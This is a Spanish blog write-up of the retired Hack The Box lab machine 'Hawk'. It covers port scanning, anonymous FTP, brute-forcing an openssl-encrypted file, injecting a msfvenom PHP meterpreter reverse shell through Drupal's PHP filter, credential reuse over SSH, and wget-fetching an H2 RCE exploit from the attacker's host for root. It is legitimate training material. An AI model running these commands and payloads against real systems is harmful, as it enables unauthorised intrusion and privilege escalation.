[writeup] Hack The Box – Hawk

¿Cuánto tiempo verdad? Demasiadas cosas que escribir y poco tiempo para ello. Poco a poco me estoy liberando de cosas pendientes y he vuelto a darle caña a HackTheBox y a ciertos post que tengo preparados para un futuro próximo.

Os dejo con esta máquina (ya retirada) llamada Hawk, es una máquina muy entretenida con la que he disfrutado bastante.

Como siempre, lo primero es lo primero, vamos a ver que puertos tiene abiertos esta máquina

nmap -sS -sV 10.10.10.102 -Pn -n -oG tcp_1500 --top-ports 1500

En el puerto 80 nos encontramos con una web que a primera vista parece un Drupal. Estuve peleando un poco con lo típico de admin:admin y admin:1234 pero claramente era una batalla perdida.

Si nos fijamos en el puerto 8082 tenemos un servicio con el banner H2 Database que si hacemos una búsqueda rápida por google vemos que tiene vulnerabilidades y exploits conocidos, que buena pinta no?

No nos olvidemos del servicio FTP, que si comprobamos el acceso anónimo efectivamente tenemos acceso de lectura.

nmap -sS -p21 10.10.10.102 -Pn -n --script ftp-anon

Bueno, dos puntos de entrada posibles, pero tiene mejor pinta el servicio H2 ya que tiene exploits de ejecución de código, vamos a probarlo.

Disponemos de tres exploits para este servicio, para el cual vamos a probar con el exploit RCE para la versión 1.4.196.


El exploit únicamente necesita para funcionar la dirección IP del host remoto y el puerto, pero al ejecutarse produce un error. He de decir que me estuve peleando un rato con el exploit porque mostraba un error a la hora de “parsear” la respuesta del servicio.

Hasta que se me ocurrió hacer una petición al servicio y ver que, efectivamente, tiene bloqueadas las conexiones remotas. Adiós a nuestro mejor vector de entrada.

Volvamos al FTP anónimo y veamos si no nos volvemos a dar contra una pared.

Este FTP tiene un directorio llamada messages el cual contiene un fichero oculto llamado .drupal.txt.enc

Vamos a descargarlo y a revisar su contenido.

Se trata de un fichero cifrado con openssl. Generalmente en los retos no suele haber una fuerza bruta pero en este tiene pinta de que la vamos a necesitar y pasar a métodos no tan “bonitos”.

Para realizar esta fuerza bruta encontré una herramienta genial llamada openssl-bruteforce, os dejo el repo de la tool.

https://github.com/HrushikeshK/openssl-bruteforce

Bueno, como no podría ser de otra forma, vamos a utilizar nuestro diccionario rockyou para realizar el ataque.

Lo interesante de esta herramienta es que prueba con varios cifrados distintos, algo que otras herramientas para fuerza bruta openssl no realizan.

Finalmente encontramos lo que buscábamos, la contraseña para la administración de Drupal

Nos logueamos con el usuario admin y ya tendremos acceso al panel de administración de la web.

Ahora nuestro objetivo tiene que ser hacernos con una conexión remota. Para ello yo he creado un payload meterpreter en PHP y he habilitado una opción en Drupal para ejecutar PHP dentro de los artículos.

Para habilitar PHP debemos tocar la configuración dentro de los módulos de Drupal (PHP Filter)

 

Vamos a preparar nuestra Shell PHP y nuestro handler para escuchar la conexión reversa,

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.13.248 LPORT=10337 -f raw > shellz.php

Una vez dispuesto todo, vamos a añadir en Drupal un nuevo artículo Content > add content > Article

Y pegamos el contenido de la shell creada con msfvenom (si, a cholón jaja)

E importante, habilitar el text format a PHP code.

Si todo sale bien, debemos recibir una conexión a nuestro handler de metasploit habilitándonos un meterpreter.

Ya tendríamos acceso a los directorios de los usuarios de la víctima y podremos acceder a nuestra primera flag de usuario.

Escalada de privilegios

Para esta escalada de privilegios es muy importante la enumeración de información del sistema. Empezamos por buscar las credenciales del usuario daniel para acceder mediante SSH. Si nos vamos al directorio /var/www/html/sites/default tenemos un fichero settings.php con la configuración de Drupal.

Si revisamos y vamos en busca de la contraseña de la base de datos podemos localizarla en este fichero.

¿Habrá reutilizado estas credenciales para el SSH? Mejor vamos a comprobarlo.

Efectivamente tenemos acceso a través de SSH y nos lleva directamente al intérprete de Python 3. Vamos a “spawnear” una Shell para trabajar más cómodos no?

import pty;pty.spawn("/bin/bash")

Como os decía, la clave está en la enumeración. Si revisamos los procesos y todavía tenemos en mente ese servicio H2 Database nos damos cuenta de lo siguiente.

Se está ejecutando como root! Bueno, ya tenemos vector de entrada para la escalada de privilegios. Os acordáis de que no admitía conexiones remotas verdad? Pero ya no será una conexión remota, sino una local:

Hora de coger el exploit anterior y subirlo a la máquina víctima, para ello utilizo el módulo de Python SimpleHTTPServer y el wget desde la víctima para descargar el fichero.

http://10.10.13.248:8888/45506.py -O pwn.py

Ya solo nos quedaría ejecutar el exploit con python3 y comprobar que nos devuelve una Shell con privilegios de root.

Pudiendo así acceder al fichero que contiene la flag final.

Espero que os haya gustado esta máquina tanto como a mí! Nos vemos en el siguiente post 🙂 que espero no tardar en sacar jejej. Por cierto, os dejo mi perfil en HTB de paso.

Hack The Box

https://www.hackthebox.eu/home/users/profile/6013

 

Matías Moreno Cárdenas

Publicado por: Matías Moreno Cárdenas

Analista de Seguridad IT y hacking ético / Desarrollador de Software Multiplataforma. Actualmente analista de seguridad informática y hacking ético en Grupo SIA

Deja un comentario